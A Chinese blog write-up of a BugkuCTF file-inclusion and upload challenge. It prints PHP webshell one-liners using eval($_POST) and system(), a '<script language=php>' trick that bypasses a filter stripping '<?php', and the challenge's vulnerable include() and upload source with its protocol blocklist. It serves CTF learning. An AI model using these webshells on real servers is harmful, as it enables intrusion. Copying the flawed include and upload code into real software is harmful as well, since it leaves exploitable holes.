BugkuCTF 文件包含2

2019-06-08  本文已影响0人  Visianlee

有一个文件上传url


image.png

经过测试发现上传之后后台会进行二次处理,统一处理成xxx.jpg,并返回路径。

测试一下文件能不能访问,直接访问返回图片,用文件包含访问把图片当作php文件解析,因此我们上传时直接上传图片格式即可。
但是还是不妨测试一下发现.php;.jpg可以绕过过滤,不过没有什么意义。


image.png image.png

第一次我用的小马是

<?=eval($_POST['abc']);>

发现被过滤了
我们尝试别的语句

<script language=php>echo'nihao';eval($_POST['abc'])</script>
<?=eval($_POST['shell']);>

发现可以执行成功
最后拿菜到连上shell即可

别的姿势
可以直接在一句话里执行命令

<script language=php>system("ls")</script>

由于我们连上了菜刀,我们可以把源码dump下来,仔细分析一下原理,源码如下:
index.php

<!-- upload.php -->
<?php
    if(!isset($_GET['file']))
    {
        header('Location: ./index.php?file=hello.php');//重定向
        exit();
    }
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/php:\/\/|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)//限制不能用php://input等方法读取源码
        {
            echo "<h1>NAIVE!!!</h1>";
        }
        else
        {
            include($file);
        }
    }
?>

upload.php

<html>
<head>
    <meta charset="utf-8"/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <title>UPLOAD</title>
</head>
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>
请上传jpg gif png 格式的文件  文件大小不能超过100KiB<br>
<?php
//error_reporting(0);
if(!empty($_FILES["file"]))
{
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        $filename = date('Ymdhis').rand(1000, 9999).'.'.$extension;
        if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){
        $url="upload/".$filename;
        $content = file_get_contents($url);
        $content = preg_replace('/<\?php|\?>/i', '_', $content);//过滤<? php ?>
        file_put_contents('upload/'.$filename, $content);
        echo "file upload successful!Save in:  " . "upload/" . $filename;
 
    }else{
            echo "upload failed!";
    }
    }
    else
    {
        echo "upload failed! allow only jpg,png,gif,jpep";
    }
}
?>

文件上传漏洞学习文章
https://www.baidu.com/link?url=ocK5c71Rg8CAS2SUfGDs9WJXFKCiZnHhE_tB8Mue-tTvcvE6MNKyvJfnlaZEp0ac&wd=&eqid=946c744f003b6178000000025cfb73dd

参考文章:
https://blog.csdn.net/zazazrt/article/details/87574205★★★★
https://blog.csdn.net/weixin_43571641/article/details/84667126
https://xz.aliyun.com/t/2657

上一篇 下一篇

猜你喜欢

热点阅读